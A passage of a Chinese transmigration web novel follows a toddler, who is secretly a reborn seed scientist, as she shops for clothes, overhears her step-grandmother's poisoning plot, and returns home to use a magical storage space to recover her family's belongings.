“快,快点,把小姐点的那几套,还有那套童装,都从模子上脱下来,仔细别碰坏了。”女掌柜恭敬起身,甚至下意识地行了个浅浅的万福,随即急哄哄地吩咐上了,声音里带着前所未有的殷勤。 “小姐,这里人多嘈杂,您且进里屋去,慢慢选,再看看别的花样,里头生了炭盆,暖和,再喝点热茶水,用些点心。”女掌柜完全把她当成了贵宾,侧身引路,态度近乎呵护。 那高人一等的感觉,被人捧着、顺着的感觉,还真是好!孟沅在前世作为埋头实验室的种子专家,专业的泥腿子,还真没享受过这般众星拱月的待遇。 她想摆出点架势,努力挺了挺小胸脯,小短腿用力向前迈去,靴子在地板上发出轻轻的“哒”声。却因那一声脱口的、奶气十足的“好哒!”而瞬间破防——稚嫩的声音里满是欢快,什么架势都烟消云散了。 围观的众人看着她那努力装大人却又掩不住孩子气的模样,又一次哄然笑了起来,铺子里充满了快活的空气。 第17章 二手成衣 女掌柜看着阿沅很高兴,要不是店里进来的顾客逐渐增加,她恨不得把奶娃娃扣下。 讲话都没清楚的小娃娃,给家人和自己买的都是店里高价的成衣,就是给府里下人每人两套,买的也都是平时大户人家管事才能穿的好衣料。 阿沅也不客气,送上来的糕点和甜水吃了不少,直到小肚皮鼓了起来,掌柜的特意交代小伙计给自己打包自己喜欢吃的蛋黄酥和椰蓉糕,想来也是女掌柜想要送客了。 “漂亮姨姨,泥们有便宜的棉衣吗?”阿沅仍未起身,又糯糯地来一句。 女掌柜眉眼含笑地望着阿沅,心里实在欢喜得紧,若不是店里的客人渐渐多了起来,她忙得有些分身乏术,真恨不得把这玉雪可爱的奶娃娃留在身边多逗弄一会儿——哪怕只是看着她那圆嘟嘟的小脸也好。 这奶娃娃话还说不利索呢,“漂亮姨姨”叫得人心头甜滋滋的,出手却半点不含糊。给自家爹娘和自己挑的都是铺子里顶贵的好衣裳。 就连给府里下人置办,也是每人两套,选的都是往常大户人家里管事一级才舍得穿的好料子,这般阔绰又细致的手笔,哪像个懵懂孩童? 阿沅在店里也自在得很,女掌柜殷勤送上来的各色糕点和甜汤,她一样样尝过去,吃得津津有味,直到那小肚子都吃得微微鼓了起来,像揣了个软软的小皮球。 眼见时候不早,掌柜的便吩咐小伙计,将阿沅格外多吃了两块的蛋黄酥和椰蓉糕仔细包好,这既是体贴,也是个委婉送客的意思。 “漂亮姨姨,泥们……有便宜的棉衣吗?”阿沅却仍稳稳坐在椅子上,没有起身,眨巴着乌溜溜的大眼睛,又糯声糯气地问了一句。 “小姐是想寻便宜的棉衣棉裤?”女掌柜被那声“漂亮姨姨”叫得心头又是一软,耐着性子解释道,“咱们锦绣坊主做的是新衣,而且都是精细的面料,自然是没有太便宜的。 不过,东家另在城北开了一间旧衣坊,专收各处的旧衣裳,浆洗干净了再发卖,只是里头衣裳成色有好有差,不大齐整,价钱倒是极实惠的,往往只有新衣价钱的十之一二。” “真哒?”阿沅一听,小米牙立刻又亮了出来,眼睛弯成了小月牙,“窝要买!买好多好多!” 见这小丫头一下子来了精神,眼里仿佛落进了星光,闪闪发亮,女掌柜心下暗觉有趣,知道这笔生意多半能做成了,连忙接口道:“那容易,我这就派个熟路的伙计,领着小姐的车驾过去。” 阿沅高兴得“砰”地一下就从高高的椅子上跳了下来。 “小姐,仔细摔着!”幸亏旁边的红袖眼疾手快,一把扶住,才没让她直接趴到地上去。 “没事哒!”阿沅就着红袖的手站稳了,还不忘扭头对女掌柜说,“谢谢姨姨,那窝……走啦,以后再来……吃点心。” 说这话时,那双大眼睛一直瞟向桌上那包好的糕点,生怕女掌柜忘了给她似的,那模样活像只偷藏了坚果、机灵又贪嘴的小狸鼠。 “好,好,姨姨这儿随时都欢迎小姐来。”女掌柜笑容满面,亲自将阿沅送到门外,又小心地把她抱上马车,将那包点心稳稳塞进她怀里。 被派去引路的伙计,刚凑近马车,正对上那车夫护卫半阖着眼皮倏然睁开的眸子——那目光幽幽的,带着股说不出的冷意,伙计心头猛地一跳,好半晌才缓过气来。 他心里暗暗嘀咕:这位小小姐果然不简单,连身边一个看似普通的车夫都这般气势慑人,果真是高门大户出来的,万万怠慢不得。 女掌柜站在店门口,目送着马车辘辘驶远,回头对着账房先生还在低声感叹:“这小丫头,瞧这心性气度,往后长大了,绝不是什么寻常后宅闺秀那般简单。” 马车越往城北行去,沿途景象便越是不同。这才让人真切觉出,这大康朝恐怕并非表面那般“大康”,内里贫苦之处,着实令人心酸。 房屋低矮破败,布局杂乱无章,更有一大片望不到边的棚户区,触目惊心。那里的人家,常常是随便垒几块石头、叠几层旧砖,再钉上些歪歪扭扭的木板,便算是一处能勉强遮风挡雨的窝棚,往往还要挤上好几户人。 棚户门口,不少人在懒洋洋地晒着太阳。不仅有衣衫单薄、蓬头垢面的孩子,许多大人也是衣不蔽体,褴褛不堪,那境况看着比城中那些行乞的乞丐也好不了多少。 “小姐,买那么多便宜衣裳,是打算做善事,施舍给他们吗?”红袖看着窗外景象,心里有些想不通。 柒叔好不容易才从侯府那边掏来些银钱物件,小姐不想着先把自家大房的日子过得更舒坦些,怎么倒有闲心管起这些八竿子打不着的穷苦百姓了? 她虽不算顶聪明,可也不是傻子。大房在府里过得艰难,不受老太太待见,这些事,再笨的人也瞧得出几分眉目。 “窝只管窝们的人。”阿沅笑得眉眼弯弯,语气却清晰。 她是想让大康朝的百姓都能吃饱穿暖不假,可她也不想当什么救世主,况且她也当不了——她又不是皇帝老子。 “娘亲好多庄子,有好多人哒!”她轻声补充道。庄子里的那些人,是自家的根基,自然不能让他们冻着饿着,往后可是要大用的。 说句实在话,她好歹是堂堂的种子专家,哪能让自己手底下的人先饿先冻出个好歹?买人不要钱的吗? 再说了,她心里还盘算着明年开春就要大干一场呢,除了庄子里的田地,她最缺的就是肯下力气、能踏实干活的庄稼把式,最好还是知根知底的。 至于像城北这边,许多吃了上顿没下顿、只晓得靠在墙根晒太阳等运气的懒汉,她可是半点也瞧不上。 那间二手衣铺,就开在城北最热闹的一条街上。比起住满了达官显贵的城西和城东,这边是鱼龙混杂,三教九流什么样的人都有,但也因此格外喧闹,进城来买卖东西的平头百姓最多。 在这里,只要你能拿得出来的东西,几乎都便宜好卖。有点像前世的那个“C多多”,只有你想不到的,没有你淘不到的,而且价格低得惊人,所以来往的人络绎不绝,铺子里外总是挤得满满当当。 只是到了这种地方,阿沅可就没了在锦绣坊那样的自由。 也许是因为不过一个月就过年,加上连日大雪,想着买衣服的人特别多。 眼见铺子门前人潮汹涌,挤挤挨挨,里头挑拣衣物时发生口角争执的有之;在人群里钻来钻去、趁机摸摸索索揩油小媳妇的有之;更有那等专趁乱下手、偷摸钱袋的扒手混迹其中。 阿沅和红袖当即就被绿果、红豆一左一右牢牢“拘”在了马车上,连那一直沉默寡言的车夫护卫也转过身来看她们。 那意思再明白不过——任凭阿沅怎么软语商量,或是撅嘴佯装生气,三个人都丝毫不为所动。 “小姐想买什么,尽管交代给奴婢们去办便是。”绿果语气温和,态度却异常坚决,“奴婢们必定仔仔细细挑好,不辱使命。只是这外头实在太乱,小姐千金之躯,绝不能下车涉险。” 到了这等关头,他们心里只牢牢刻着一句话:万事皆小,保住小姐平安无事最大。 第18章 是她害了祖母 最后的结果是阿沅和红袖在马车上悠哉悠哉吃糕点,偶尔给前面的护卫递两块,绿果和红豆进去买衣服。 这一回阿沅的交代是绫罗绸缎都不买,厚实棉衣、棉裤、棉鞋、棉帽一件都不留,浆洗过没修补好的,只要能穿的也照单全收。 她特意板起小脸,一字一顿地嘱咐,那模样既认真又透着不容置疑的坚决。再加上红袖在旁边帮腔搭嘴,两人明白了小姐的意思。 听说她们要买这么多,还不挑拣质地新旧,掌柜的先是愣了一瞬,随即脸上堆满了生意上门的精明喜色,忙不迭地点头哈腰,马上转身招呼伙计关门谢客,挂上“暂歇”的木牌。 亲自领着伙计们钻进后头库房,将符合要求的棉制品一摞摞清点搬运出来。不过半个时辰,数量便点算清楚,银货两讫。 掌柜的笑眯眯地拱手,“姑娘们先回去,小的保证晚些时候定派稳妥人手,直接送到你们府上,包管一件不差,非常省事。” 阿沅吃饱喝足,马车微微摇晃如同摇篮,她又躺回那铺着厚厚绒垫、温暖又软软乎乎的小榻上,抱着小手炉,眼皮渐渐沉了下来,不一会儿便呼吸均匀地睡着了。 这一觉睡得踏实,直到马车稳稳停回娘亲的陪嫁宅子门口,被红袖轻轻唤醒,她才揉着惺忪睡眼,懵懵懂懂地被搀下车。 晚餐饭桌上。 “小姐若是听墙角,柒叔已经有了经验,不用再带上旁人。”孟柒依然是板着脸,一脸严肃,不肯再让绿果、红豆和红袖几个碍手碍脚的跟去。 他腰背挺得笔直,目光依次扫过三个丫鬟,最后落在阿沅脸上,语气斩钉截铁。 他一本正经地分析道:“小姐,昨晚侯府里的人都集中到了一处,你们才没被人发现。今晚老太太住到了前院,各院留守的人手必然分散,警戒不同,耳目反而可能更多。人多容易生乱,反而容易暴露行踪。” 他顿了顿,加重语气总结,“总之,有在下带着小姐一人,身手便利,进退自如,绰绰有余,旁的人一概不用,徒增风险。” 昨晚一路回来,阿沅心里那股郁气就没散尽,总觉得事情没办完,像有只小猫爪在轻轻挠着心肝。此刻见孟柒拒绝得干脆,她马上红了眼圈,小嘴一瘪,眼眶里迅速蓄起两汪水光,“红袖必须跟窝,不然窝……窝,窝不要泥去了!” 许是受了原主残留情绪的影响,阿沅那泪珠子说掉就掉,一颗接一颗滚下粉嫩的脸颊,委委屈屈、吧嗒吧嗒的样子,看得人心头发软。 那副可怜又倔强的小模样,让素来冷硬的孟柒内心一阵莫名的烦躁,仿佛自己做了多么十恶不赦的事情,竟有种手足无措的罪恶感。 他眉头紧锁,挣扎片刻,终究还是硬不下心肠,只能勉强点头妥协:“那……红袖跟着,绿果也去,省得我一人拎你们两个~累赘。”说到后面又有点不甘心。 “好!”红袖立刻转悲为喜,只要能跟着小姐,去哪儿她都高兴,眼睛笑成了月牙儿。 “行!”绿果自然也是愿意跟着的,连忙应下,只有一旁的红豆板起了脸,嘴角微微下撇,眼里流露出几分失落和不高兴,但看着老大严肃的脸色,她也不敢提出异议,只默默低下了头。 “好哒!”阿沅瞬间高兴了,眼泪还挂在睫毛上,嘴角却已高高扬起,变脸快得像初夏的天气。 她心里的小算盘打得噼啪响:趁着红袖这个苦主也在,不去吓吓那个前世把原主和红袖卖进脏污窑子的凌堂姐怎么行?还有那个总是打她、捉弄她、作践她的孟怀堂,最好也能一并吓唬了,若能吓出病来,吓出比哥哥以前还要傻的疯病,那才解气呢! …… 安平侯府前院的西侧小院,因少了白日里穿梭伺候的仆役,比昨夜老太太宿在正屋时安静了不少,更显出一种空旷的森然。 屋内点了好几盏灯烛,将人影投在墙壁上,晃动摇曳。 虽是白天断断续续睡了几个囫囵觉,但老太太老宋氏依然觉得头脑浑浑噩噩,像被一层湿布裹着。她勉强喝下一碗温热的燕窝粥,放下瓷碗时,眼里忽然迸射出淬了毒般的寒光,枯瘦的手指紧紧攥着被角,咬牙切齿地怒骂了起来。 “定是花容那个杀千刀的阴魂不散,回来了!早知道当年就不能让她那么轻易死了,合该挫骨扬灰,叫她永世不得超生才好!” “老妖婆!不得好死!”屋顶上,红袖听得真切,胸中一股怒火直冲头顶,她猛地抓起手边一块松动的瓦片,手臂一扬就想狠狠砸下去! 但她的手立刻被身旁眼疾手快的绿果死死摁住,绿果对她用力摇头,眼中满是警告。 孟柒更是瞬间收紧了面部线条,凌厉如刀的目光狠狠瞪向红袖,红袖一个激灵,吓得连忙松开瓦片,缩了缩脖子,往阿沅身边靠了靠。 阿沅趴伏在冰凉的屋瓦上,小拳头捏得紧紧的,指甲几乎要嵌进掌心。她心中涌起一股不属于她这个年龄的、混杂着悲愤与彻骨寒意的情绪,那是来自原主血脉深处的共鸣。 她听见自己用稚嫩却带着恨意的声音低喃:“她骂花家……骂祖母……老妖婆,她害了祖母……”原主的记忆里并没有对亲祖母花容的具体印象,那位出自江南世家大族、老侯爷的原配夫人,在爹爹孟大川八岁那年就病故了。 后来续娶的老宋氏,正是花家的表亲。书里未曾细写的这段隐秘,此刻如同黑暗中的毒蛇,悄然露出了狰狞的一角。 孟沅心中又是庆幸又是沉重:难怪大家都说“想要知道真相,就得学会蹲墙角”,果然作用非凡,能听到这般骇人的秘辛。 但同时,那听到的只言片语如同毒藤,在她心中疯狂蔓延,滋生出越来越浓的憎恨。她暗暗发誓,回去跟爹爹咬耳朵说悄悄话的时候,这必然是新的、紧要的内容。 “夫人,您且放宽心,莫要气坏了身子。等到那一家子彻底死绝了,断了根苗,咱们再悄悄请那位老道士回来,重新施法,将那不干净的东西好好镇一镇,教她再也翻不了身。”一个听起来年纪颇大、带着谄媚安抚语调的老婆子声音,又从下面幽幽传上来。 这话语如同淬毒的冰锥,刺得阿沅浑身发冷,牙齿不受控制地咯咯作响。所有伏在屋顶听墙角的人,此刻都屏住了呼吸,空气中弥漫着一种压抑的愤怒。 孟柒更是听得眼中杀意凛然,只恨如今不是在可以快意恩仇的战场,否则下面这两个阴毒的老婆子,他必定一刀一个,绝不留情。 第19章 还没玩够 下面,那老妖婆沙哑的声音停顿了片刻,又继续响起,带着一种焦灼的算计:“这都快到年关了,庄子上……怎么还没有消息传回来?” 嬷嬷的声音连忙接上,透着小心翼翼:“许是就在这两天了呢?雪天……路途不便,迟个三两天也是有的。老夫人,您是心急了。” “若是再过两天还没有确凿消息,就让老二家的亲自跑一趟去看看。我就不信……那药会没有作用,最好年前吃席。” 老宋氏的声音压得更低,却更显阴狠,“或许……就是因为他们死得太透、太干净了,庄头觉得晦气,才没敢急着上报……” “唔——!”阿沅听到这里,一股热血直冲脑门,小小的身体因极致的愤怒而颤抖起来,她几乎要不管不顾地喊出声。 下一瞬,她的嘴就被一只带着厚茧的大手紧紧捂住,整个人被孟柒铁箍般的臂膀一把捞起,迅速而无声地向后退离屋顶边缘。 她拼命挣扎,小短腿在空中胡乱踢蹬,想要踢打孟柒,想要下去撕了那两个老毒妇,但她的力气在孟柒面前如同蚍蜉撼树,小短腿再怎么努力也够不着要害。 芯子里终究不是真正的三岁孩童,孟沅在最初的暴怒后,残存的理智告诉她此刻绝非下手报仇的时机。心中的难受是真的,那滔天的恨意也是真的,但她必须佯装,必须忍耐。 只是被这般强行带走,那口憋闷的怒气无处发泄。 待到被孟柒带到安全的暗处,捂着她嘴的手刚一松开,阿沅便报复性地、用尽全力踢了孟柒的小腿七八下,虽然那力道对孟柒来说如同挠痒。 她仰起满是泪痕的小脸,赌着气,用带着哭腔却异常执拗的声音命令道:“泥!去做鬼!吓死那两个小坏蛋!不吓死,不得回!” 要吓死谁,一路来时红袖凑在阿沅耳边嘀嘀咕咕的谋划,孟柒和绿果其实都听得清清楚楚,当时还觉得小孩子心性,好笑。 到了此刻,亲耳听闻了那般恶毒的言语,孟柒心中那点对于“装神弄鬼”的抵触早已烟消云散。如果可以,他更想用更直接痛快的方式。但眼下,小主子的命令,他选择遵从。 他脸上依旧是那副沉稳严肃的表情,嘴里坚持着最后的“规矩”:“属下先送小姐你们回去。稍后,带十五、十六那两个小子出来办此事。他们手脚更伶俐,装弄起来也更……在行。定不辱使命。” 孟柒倒不是担心自己又一晚上不能睡,只是纯粹觉得,比起自己这张过于刚硬、或许不太像“鬼”的脸,十五和十六那两个机灵鬼,显然更适合这份“吓人”的差事。 一觉起来,已是第三天的清晨,雪过天晴,阳光透过窗棂,在屋内投下明晃晃的光斑。 小奶团坐在榻上揉着眼睛,忽然意识到今日便要返家,顿时不乐意了。 饭后就被拎出门很不服。她“噌”地跳脚,叉起腰,仰起圆嘟嘟的小脸对着孟柒瞪眼,乌黑的眸子里的不忿明明白白:“下午再回去!” 昨日说好要逛遍京城的繁华街市,结果却成了布料铺与成衣店的来回奔波,连根糖葫芦的影儿都没见着,光看了城北的棚户区破旧房子。 她越想越觉得冤,小嘴噘得能挂油瓶,心里盘算着:左右不过晚几个时辰到家,多赖半天又何妨? “不行!”孟柒梗着脖子,站得笔直,声音虽淡却不容反驳,“临行前大人和夫人是如何叮嘱的?小姐可别忘了。” 他有他的坚持,话音未落便伸手一把将阿沅拎了起来,任凭她两条小腿在空中胡乱踢蹬,却依旧连他的衣摆都沾不到半分。 “呜呜呜!窝的甜糕糕,窝的凤梨酥,窝的小糖人,窝的……”阿沅身子扭得像条活鱼,一连串吃食的名号从那樱桃小嘴里倒豆子般蹦出来。 甜的、酥的、粘的、香的,有的尝过,有的只听丫鬟提过,此刻全成了她耍赖的由头,软糯的嗓音拖得老长,不依不饶。 孟柒生怕一放下她便要就地打滚撒泼,只得继续拎着那小小一团,手臂绷得稳稳的。 “铺子这个时辰还没开门呢!咱们先动身,留个人,待会儿绕去秀芳斋采买便是。”他被缠得实在没了法子,终于缴械投降。 阿沅立刻停止了挣扎,但眼珠子一转,得寸进尺:“都要,全给窝包圆了。” 孟柒从牙缝里挤出一个字:“好!” 他想将她塞进车厢,阿沅却蜷缩着身子,脚丫子死活不肯沾地,又追加一句:“还有糖人和冰糖葫芦。” 孟柒头痛不已,速速应道:“好!” 那两只小脚依然悬在半空,阿沅的声音更添了几分理直气壮:“娘亲和哥哥喜欢的三色丸子,还有全氏的大烤鸭。” “在下给小姐买整整一马车回去!十一,快走!”孟柒再不敢接话,手腕一扬,将阿沅轻轻丢进车厢,又顺手拎起一旁看得发呆的弱质丫鬟红袖,也丢了进去。 动作快得像在躲避什么瘟神,末了还用力推了马车一把,催它赶紧起步。 看到老大阴沉着脸,真的生了气。绿果和红豆慌忙飞身上车,心里正惴惴,以为小姐定要痛哭流涕或是气得在车里翻滚。不料却见阿沅早已坐得端端正正,悠哉悠哉地晃着一双小短腿,脸上哪有半分委屈? 那如愿以偿后心满意足的笑靥,活像只偷了腥的小狐狸,眉眼弯弯,连粉嫩的牙龈都露了出来,甜得能沁出蜜来。 第20章 其乐融融 临近庄子的时候才酉时中,天上却没了亮光,若不是满地的皑皑白雪映出朦胧光亮,天几乎全黑了。 车轮碾过积雪发出吱呀的声响,车厢里透出暖黄的灯光,在苍茫的暮色中格外温馨。 “小姐,有人等门呢,定是夫人派出来接我们的。”红袖掀开帘子一角往外瞧,语气里带着笃定的欢喜。 冬日的庄子,只有出入的时候才会敞开的大门,此刻却完全敞开着,门檐下两盏灯笼在风中轻轻晃动,晕开一团团橘红的光,果然有几道黑色人影静静矗立在光影交界处,正朝这边张望。 车上几个人都忍不住探出了头,呵出的白气在冷空中飘散。 “好像是墨竹和纸槐。”绿果眯着眼仔细辨认,红豆在一旁连连点头:“可不就是他们嘛!” 也许是以前相处多了,哪怕隔着一段距离、借着雪光与灯光,绿果和红豆也能从那身形姿态中认出熟悉的人来。 “那…那个…是嘚嘚?”阿沅心里一动,隐隐有了猜测,小手不自觉地攥紧了袖口。 想到自己临走前配制的解毒药,心头顿时涌上一股热切的期盼,信心也像被点燃的小火苗般蹿升起来。 “不会的,这么冷的天,夫人定会拘着少爷,不会让他出来的。”红袖摇摇头,伸手将阿沅敞开的领口拢了拢,把绑带重新绑了一遍。 今天虽然没下雪,但寒风依然刺骨,此刻天色已暗,阴冷的风一阵紧似一阵,刮在脸上像小刀子似的,她实在不相信体弱的少爷会在这时站在门外。 然而,随着马车轱辘吱呀呀地驶近,灯笼的光渐渐照亮了那中间人影的脸庞——略显苍白的肤色,一双清澈却稍显迟缓的眼睛正急切地望过来。 阿沅猛地瞪大眼睛,惊呼出声:“快抱窝下去,是嘚嘚,真的是嘚嘚!”她整个身子都往前倾,恨不得立刻跳下车去。 孟怀瑾确实穿得很厚实,一件藏青色的棉袍外面还罩了件石青色的毛皮斗篷,颈间围着一圈灰鼠皮围脖,几乎遮住了小半张脸。他被墨竹和纸槐一左一右护在中间,两人身姿挺拔如松,将他严实地挡在身后背风处。 他虽然不如他们那般挺拔硬朗,显得有些单薄,却也努力挺直了腰杆,站得稳稳的,眉眼间透着一股属于读书人的安静气质,只是眼神里带着掩饰不住的期盼与雀跃。 尽管阿沅在车里扭着身子闹着要下车,但坐外面的绿果和红豆都拦住她,驾车的十一也仿佛没听见,手中缰绳稳稳握着。 一直将马车赶进了庄子大门,又缓缓越过了门口等候的三人,才在内院门前勒住了马。马蹄踢踏几下,停稳了。 “妹妹?”车还未停稳,那身材削瘦的少年已经急切地迈前两步,微微倾身向前,声音里带着一丝不确定的颤抖,试探着轻声唤道。 “嘚嘚,窝肥来了!”红豆和绿果刚刚拨开车帘,一股冷风灌入,红袖正打算先下车回身来接人,却见小姐像只归巢的雀儿般,瞅准了方向,纵身一跃,整个身子便不管不顾地扑向前方那道熟悉的身影。 这动作来得太突然,车上的三人俱是措手不及,齐齐惊呼。 阿沅扑出去的瞬间,眼睛也下意识地闭上,耳边是呼啸的风声,心里却想着哥哥肯定接不住。 就在她以为自己要一头栽进雪地、啃上一嘴冰凉白雪的时候,一双虽然不算强壮却异常坚定的臂膀猛地接住了她,将她紧紧搂住。两人同时发出了惊喜的呼喊: “妹妹!”孟怀瑾的声音里充满了失而复得的欢欣。 “嘚嘚!”阿沅清脆雀跃,听声音就知道哥哥已经不同了。 然而冲击的力道还是让孟怀瑾脚下不稳,他抱着阿沅向后趔趄了一步,靴子在雪地上滑开,两人惊呼声中,一起滚倒在松软厚实的雪地里,扑腾起一片细碎的雪沫。 “不疼,一点都不疼。”阿沅很快从哥哥怀里抬起小脸,咧开嘴笑了起来,露出白白的小米牙。 两人摔倒在地,但厚厚的积雪和孟怀瑾垫在下面的手臂起到了缓冲,摔得并不重。阿沅只是在哥哥温暖的怀抱里打了个滚,斗篷上、发梢上都沾满了晶莹的雪粒。 “嘚嘚!泥要多吃饭哦。”她伸出小手,胡乱地拍了拍孟怀瑾肩头的雪,一本正经地叮嘱着,将近十四岁的少年,声量还是单薄了些。 “妹妹,不疼!”孟怀瑾缓过劲,也笑了,他顾不上拍打自己身上的雪渍,连忙坐起身将阿沅抱起来,然后仔细地、轻轻地帮她拍打后背、衣袖上沾的雪粒,动作有些笨拙却极尽温柔。 拍完了雪,他凑近她,用自己的额头轻轻碰了碰阿沅被冻得红红的小鼻尖,然后咧开嘴,露出一个有些腼腆却无比开怀的笑容,“妹妹吃饭,娘亲等。” 他的话语依旧简短,带着停顿,但眼中的光彩却比往日明亮了许多。 “好,阿沅肚子饿饿!”阿沅笑得眉眼弯弯,也在他脸上留下了一个印记。 她仔细瞧着哥哥的脸,刚刚服药三天,哥哥的眼神似乎清明了不少,脸上那种懵懂的傻气也淡了些,只是说话还像以前那样,有点慢,有点顿,但已经足够让她雀跃。 另一边,孟柒似乎比阿沅还要心急,他刚迈上正屋的台阶,看见闻声迎出来的柳氏,匆匆行了个礼,语气急促:“夫人,大人可醒着?在下有要事需即刻汇报。” “进去吧,喂他先吃了些粥,这会应该醒着!”柳氏从屋里急步走出,一边回话,目光却早已越过孟柒,牢牢锁在了一双儿女身上。 见两人身上都沾着雪,尤其是孟怀瑾的斗篷下摆湿了一片,她又是心疼又是责怪,语气却仍旧是温和的:“你们两个,这是钻雪堆里去了?” 她快步走到近前,先抬手为儿子拍掉帽檐上沾着的雪花,又仔细拂去他鬓边发丝上的雪沫,然后才一把将还在咯咯笑的阿沅从孟怀瑾身边抱过来。 入手感觉女儿外披沁着寒意,忙催促儿子道:“赶紧的,去换套干爽衣服,手炉也捂上。待会儿我们吃羊肉锅子,热热乎乎地驱驱寒。” “好哦!吃锅子咯!”一听到有暖锅吃,阿沅在柳氏怀里也不安分,刚被抱进暖意融融的屋里,就迫不及待地往下蹦。屋里炭火烧得旺,暖烘烘的让人瞬间舒展。 柳氏强忍着笑意,手上动作利落,三下两下便剥掉了阿沅那件带着寒气、浸了雪水的厚外披,又剥掉了棉衣,才扯过早就备在一边的干爽小袄将她裹住,嘴里念叨着:“慢点慢点,玩疯了吧,害爹娘和哥哥担心。” 第21章 吓坏了爹爹和哥哥 等吃饭的当口,半天孟柒没从爹娘屋里出来,阿沅眼珠子滴溜溜一转,心里便有了主意,她迈开小短腿,径直朝孟怀瑾的侧屋跑去。 侧屋里间除了那张光秃秃的床,空空荡荡,没有一样多余的东西。桌椅板凳也没有一张,想来是怕他癔症发作时伤了自己,刻意搬空的,床头上那两本摸得有些卷边的书,还是从柳氏那拿过来的。 此刻,孟怀瑾已经自上到下全都换了一身干净的衣裳,正低头费力地穿着鞋袜,听见到脚步声,一抬头看见阿沅进来,立刻咧开嘴,露出一个同样甜甜的的笑容,还叫了声“妹妹。” 墨竹和纸槐见了小姐,恭敬地做了个揖,便悄无声息地退了出去,轻轻带上了门。 “嘚嘚,阿沅送你礼物哦。”她奶声奶气地说着,眼睛弯成了月牙,孟怀瑾笑。 趁他又低头专注穿鞋的功夫,阿沅在屋里迅速扫视,找到了合适的位置,悄悄捏紧手心,意念微动。 霎时间,侯府前院那间敞亮雅致的书屋,如同被原样复制一般凭空而降,几乎填满了床榻和狭窄走道以外的所有位置。 那宽大书案,笔墨纸砚,满满当当的各类书籍,甚至墙上当年老侯爷亲笔所题“笃志力行”墨宝条幅,都分毫不差地出现在了正对的墙面上。 忽然抬起头,站起身的孟怀瑾猛地一愣,整个人僵在原地。他不可置信地环顾眼前这突如其来、却又熟悉到骨子里的一切。 目光再缓缓移向站在屋子中央、正冲他甜甜笑着的阿沅,眼中充满了震撼与茫然。 阿沅冲他用力点点头,那笑容里如同盛满了蜜糖,声音清脆又充满鼓励:“嘚嘚厉害,读书,考状元。” 见他还在犹豫,似乎不敢相信这从天而降的惊喜,阿沅跑过去,牵起他往书案边拉:“嘚嘚…读书…不吵爹爹。” 孟怀瑾颤抖地抚过光滑冰凉的案台,摸过那支他常用的竹节笔筒,触到温润的砚台,又望向那两大架子他曾经翻阅过无数次的书籍,喉咙哽咽,声音微微发颤,半天才坐到了那张椅子里。 他怔怔地望着眼前的一切,好久都没能回过神,仿佛沉浸在一个太过美好、不敢惊醒的梦里。 阿沅却似完成了一件大事,抿嘴一笑,转身轻手轻脚地溜了出去。 她一路小跑溜到了正屋,正好跟从里间出来的孟柒迎头碰上。孟柒抬眼看见她,正想开口招呼,阿沅却像只灵活的小泥鳅,哧溜一下从他身边钻过,径直往里屋窜了进去。 “爹爹,爹爹!”她嘴里叭叭。 心里又默念:还好还好,娘亲看她平日爬床辛苦,床前特地加了一条小榻,她踩上去一咕噜就爬得顺溜,动作利落得很。 “来,到爹爹这来。”刚想继续躺下去的孟大川,将身体向床内侧挪了挪,空出身边的位置,又拍了拍那处柔软的锦褥,示意她坐过来。 “爹爹,炭炭…粮食…棉衣,神仙姑姑说…”阿沅滚到他身边,迫不及待地开口。 “爹爹知道了,已经安排人分下去,再让各家抓紧修缮一下房屋,加固屋顶,以防大雪压垮。”孟大川一把搂住她的小身子,摁坐在自己身边,语气沉稳,显然刚才已经吩咐下去了。 阿沅嘴里还没叭叭完,孟大川就有了清晰果断的反应,她在心里忍不住为便宜爹竖起了拇指,无声地呐喊着:爹爹威武!难怪能打胜仗,得军功,果然有才。 “爹爹,嘚嘚的书房回来了,嘚嘚高兴。”阿沅又想起哥哥,兴奋地冲隔壁屋子的方向指了指,小脸上满是得意。 想到哥哥刚才那错愕之后,必定是狂喜涌上心头,恨不能立刻扑到书架上翻阅的表情,她就觉得开心。 见爹爹眼神中似乎有些疑惑,好像没完全明白“书房回来了”是什么意思,她干脆不再多说,捏紧自己的小拳头,意念一动后马上张开手心。 只见她以前的玩的小布偶、小木马、拨浪鼓、九连环…突然凭空出现,叮叮当当地撒满了床尾的锦被。 “阿沅…”孟大川的声音骤然颤抖起来。 阿沅回头给了他一个咧到耳根的笑容,露出满嘴小米牙:“嘿嘿!嫁妆,娘亲的,不便宜坏蛋。” 话音刚落,只听“咚”一声轻响,一株足有两尺来高、色泽鲜艳欲滴的红珊瑚摆件,赫然出现在散落的玩具中间,那闪亮的光泽几乎照亮了床帷。 这东西太贵重,独一无二。孟大川一眼就认出,这是当年夫人压箱底的陪嫁之一。 “还有…”阿沅兴致勃勃,还想继续往外掏东西。但一双大手从后面紧紧环抱过来,带着不容抗拒的力道,将她的小身子连同手臂一起箍住。她捏紧的拳头也被爹爹温热而略带薄茧的大手握住,力道轻柔却坚定地掰开。 孟大川的声音在她头顶上方响起,带着明显的颤音和后怕:“阿沅,不急,爹爹知道了,是神仙姑姑显灵了,帮了我们家大忙。” 女儿若是再这么毫无顾忌地往外“拿”东西,心脏受不了的首先会是他自己。这接二连三的冲击,如同惊涛拍岸,他真的需要喘几口气,好好缓一缓,理一理这匪夷所思却又真切发生在眼前的一切。 他努力深吸了几口气,平复着擂鼓般的心跳,才慢慢松开了禁锢女儿的双手,将她转过来面对自己,神色凝重而温和:“阿沅,告诉爹爹,你是不是把我们的东西,都收回来了?是神仙姑姑在帮忙,对不对?” “嗯啊!”阿沅用力点头,小脸绷得紧紧的,还咬起了牙根,“他们坏,不给他们留。” 她这时候已经瞥见了床边孟柒留下的那几个沉甸甸的箱笼和包袱,心里明白,之前听墙脚听到的那些隐秘,大概不需要她再磕磕巴巴地复述了,孟柒应该已经事无巨细、条理清楚地跟爹爹汇报过了。 想到这里,阿沅自己也暗暗松了口气——毕竟,要她装着三岁小娃的懵懂语气,去一一陈述那些复杂的人心算计,实在是件太为难的事。 “这些宝贝…能先放在神仙姑姑那里吗?”孟大川犹豫了片刻,才低声问道,语气里带着商量的意味,也隐隐透着几分谨慎。 “嗯嗯!”阿沅再次重重点头,为了表示神仙姑姑那里的地方足够大,她还松开手,双臂尽力张开,环抱出一个大大的饼,“姑姑给的院子…能装…好多好多,满满的! 像是又忽然想起了什么要紧事,阿沅“啊”了一声,小手再次捏紧,然后松开:“这个,这个…二叔屋里的…”,只见厚厚一叠书信、笺纸,哗啦一下出现在床上。 剩下的应该先不要拿出来了罢?阿沅眨巴着眼睛想:若是再一股脑儿放出来,只怕爹爹和娘亲今晚没地方睡觉了。 